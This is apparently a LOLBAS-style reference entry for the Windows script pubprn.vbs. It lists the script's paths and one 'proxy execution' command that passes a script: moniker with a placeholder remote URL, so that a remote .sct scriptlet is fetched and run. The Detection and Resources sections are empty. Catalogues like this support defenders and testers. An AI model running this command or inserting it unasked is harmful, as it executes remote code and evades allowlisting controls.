Pubprn.vbs

Proxy execution with Pubprn.vbs

Paths

  • C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs
  • C:\Windows\SysWOW64\Printing_Admin_Scripts\en-US\pubprn.vbs

Commands

Execute

Set the 2nd variable with a Script COM moniker to perform Windows Script Host (WSH) Injection

Use case: Proxy execution

Privileges: User

pubprn.vbs 127.0.0.1 script:{REMOTEURL:.sct}

Detection

Resources